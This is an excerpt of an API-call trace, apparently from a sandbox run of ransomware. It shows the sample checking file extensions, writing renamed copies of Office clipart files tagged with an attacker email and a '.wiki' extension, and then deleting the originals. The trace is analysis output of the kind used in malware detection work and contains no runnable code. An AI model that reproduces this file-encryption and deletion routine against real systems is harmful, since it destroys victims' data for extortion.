[0194.034] lstrlenW (lpString=".xls") returned 4 [0194.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.034] lstrlenW (lpString=".xlsx") returned 5 [0194.034] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.034] lstrlenW (lpString=".ppt") returned 4 [0194.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.034] lstrlenW (lpString=".zip") returned 4 [0194.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.034] lstrlenW (lpString=".rar") returned 4 [0194.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.034] lstrlenW (lpString=".bz2") returned 4 [0194.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.035] lstrlenW (lpString=".7z") returned 3 [0194.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.035] lstrlenW (lpString=".dbf") returned 4 [0194.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.035] lstrlenW (lpString=".1cd") returned 4 [0194.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned 63 [0194.035] lstrlenW (lpString=".jpg") returned 4 [0194.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.035] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.035] lstrlenW (lpString="J0105414.WMF") returned 12 [0194.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.036] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6244) returned 1 [0194.036] CloseHandle (hObject=0x1d0) returned 1 [0194.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0194.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.036] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.036] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.036] GetLastError () returned 0x0 [0194.036] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1864, lpOverlapped=0x0) returned 1 [0194.082] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0194.083] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.083] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.083] SetEndOfFile (hFile=0x214) returned 1 [0194.083] CloseHandle (hObject=0x214) returned 1 [0194.083] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.083] SetEndOfFile (hFile=0x1d0) returned 1 [0194.084] CloseHandle (hObject=0x1d0) returned 1 [0194.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0194.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.084] lstrlenW (lpString=".doc") returned 4 [0194.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.084] lstrlenW (lpString=".docx") returned 5 [0194.084] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.084] lstrlenW (lpString=".pdf") returned 4 [0194.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.084] lstrlenW (lpString=".xls") returned 4 [0194.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.084] lstrlenW (lpString=".xlsx") returned 5 [0194.084] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.084] lstrlenW (lpString=".ppt") returned 4 [0194.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.084] lstrlenW (lpString=".zip") returned 4 [0194.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.085] lstrlenW (lpString=".rar") returned 4 [0194.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString=".bz2") returned 4 [0194.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString=".7z") returned 3 [0194.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.085] lstrlenW (lpString=".dbf") returned 4 [0194.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.085] lstrlenW (lpString=".1cd") returned 4 [0194.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.085] lstrlenW (lpString=".jpg") returned 4 [0194.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.085] lstrlenW (lpString=".doc") returned 4 [0194.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString=".docx") returned 5 [0194.085] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.085] lstrlenW (lpString=".pdf") returned 4 [0194.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.085] lstrlenW (lpString=".xls") returned 4 [0194.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.085] lstrlenW (lpString=".xlsx") returned 5 [0194.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.085] lstrlenW (lpString=".ppt") returned 4 [0194.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.086] lstrlenW (lpString=".zip") returned 4 [0194.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.086] lstrlenW (lpString=".rar") returned 4 [0194.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.086] lstrlenW (lpString=".bz2") returned 4 [0194.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.086] lstrlenW (lpString=".7z") returned 3 [0194.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.086] lstrlenW (lpString=".dbf") returned 4 [0194.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.086] lstrlenW (lpString=".1cd") returned 4 [0194.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0194.086] lstrlenW (lpString=".jpg") returned 4 [0194.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.086] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.086] lstrlenW (lpString="J0105502.WMF") returned 12 [0194.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.087] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5472) returned 1 [0194.087] CloseHandle (hObject=0x1d0) returned 1 [0194.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0194.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.087] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.087] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0194.088] GetLastError () returned 0x0 [0194.088] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1560, lpOverlapped=0x0) returned 1 [0194.104] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1570, lpOverlapped=0x0) returned 1 [0194.105] ReadFile (in: hFile=0x1d0, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.105] WriteFile (in: hFile=0x214, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.105] SetEndOfFile (hFile=0x214) returned 1 [0194.105] CloseHandle (hObject=0x214) returned 1 [0194.105] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.105] SetEndOfFile (hFile=0x1d0) returned 1 [0194.109] CloseHandle (hObject=0x1d0) returned 1 [0194.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.109] lstrlenW (lpString=".doc") returned 4 [0194.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.109] lstrlenW (lpString=".docx") returned 5 [0194.109] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.109] lstrlenW (lpString=".pdf") returned 4 [0194.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.109] lstrlenW (lpString=".xls") returned 4 [0194.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.109] lstrlenW (lpString=".xlsx") returned 5 [0194.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.109] lstrlenW (lpString=".ppt") returned 4 [0194.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString=".zip") returned 4 [0194.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.110] lstrlenW (lpString=".rar") returned 4 [0194.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString=".bz2") returned 4 [0194.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString=".7z") returned 3 [0194.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString=".dbf") returned 4 [0194.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString=".1cd") returned 4 [0194.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString=".jpg") returned 4 [0194.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.110] lstrlenW (lpString=".doc") returned 4 [0194.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString=".docx") returned 5 [0194.110] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.110] lstrlenW (lpString=".pdf") returned 4 [0194.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.110] lstrlenW (lpString=".xls") returned 4 [0194.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.111] lstrlenW (lpString=".xlsx") returned 5 [0194.111] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.111] lstrlenW (lpString=".ppt") returned 4 [0194.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.111] lstrlenW (lpString=".zip") returned 4 [0194.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.111] lstrlenW (lpString=".rar") returned 4 [0194.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.111] lstrlenW (lpString=".bz2") returned 4 [0194.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.111] lstrlenW (lpString=".7z") returned 3 [0194.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.111] lstrlenW (lpString=".dbf") returned 4 [0194.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.111] lstrlenW (lpString=".1cd") returned 4 [0194.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0194.111] lstrlenW (lpString=".jpg") returned 4 [0194.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.111] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.112] lstrlenW (lpString="J0105506.WMF") returned 12 [0194.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0194.112] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2912) returned 1 [0194.112] CloseHandle (hObject=0x1d0) returned 1 [0194.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0194.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.419] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.419] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.420] GetLastError () returned 0x0 [0194.420] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb60, lpOverlapped=0x0) returned 1 [0194.421] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb70, lpOverlapped=0x0) returned 1 [0194.422] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.422] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.422] SetEndOfFile (hFile=0x1f4) returned 1 [0194.422] CloseHandle (hObject=0x1f4) returned 1 [0194.422] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.423] SetEndOfFile (hFile=0x220) returned 1 [0194.423] CloseHandle (hObject=0x220) returned 1 [0194.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0194.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.424] lstrlenW (lpString=".doc") returned 4 [0194.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString=".docx") returned 5 [0194.424] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.424] lstrlenW (lpString=".pdf") returned 4 [0194.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString=".xls") returned 4 [0194.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.424] lstrlenW (lpString=".xlsx") returned 5 [0194.424] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.424] lstrlenW (lpString=".ppt") returned 4 [0194.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.424] lstrlenW (lpString=".zip") returned 4 [0194.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.424] lstrlenW (lpString=".rar") returned 4 [0194.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString=".bz2") returned 4 [0194.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString=".7z") returned 3 [0194.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.424] lstrlenW (lpString=".dbf") returned 4 [0194.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.424] lstrlenW (lpString=".1cd") returned 4 [0194.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString=".jpg") returned 4 [0194.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString=".doc") returned 4 [0194.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString=".docx") returned 5 [0194.425] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.425] lstrlenW (lpString=".pdf") returned 4 [0194.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString=".xls") returned 4 [0194.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.425] lstrlenW (lpString=".xlsx") returned 5 [0194.425] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.425] lstrlenW (lpString=".ppt") returned 4 [0194.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0194.425] lstrlenW (lpString=".zip") returned 4 [0194.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.425] lstrlenW (lpString=".rar") returned 4 [0194.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.425] 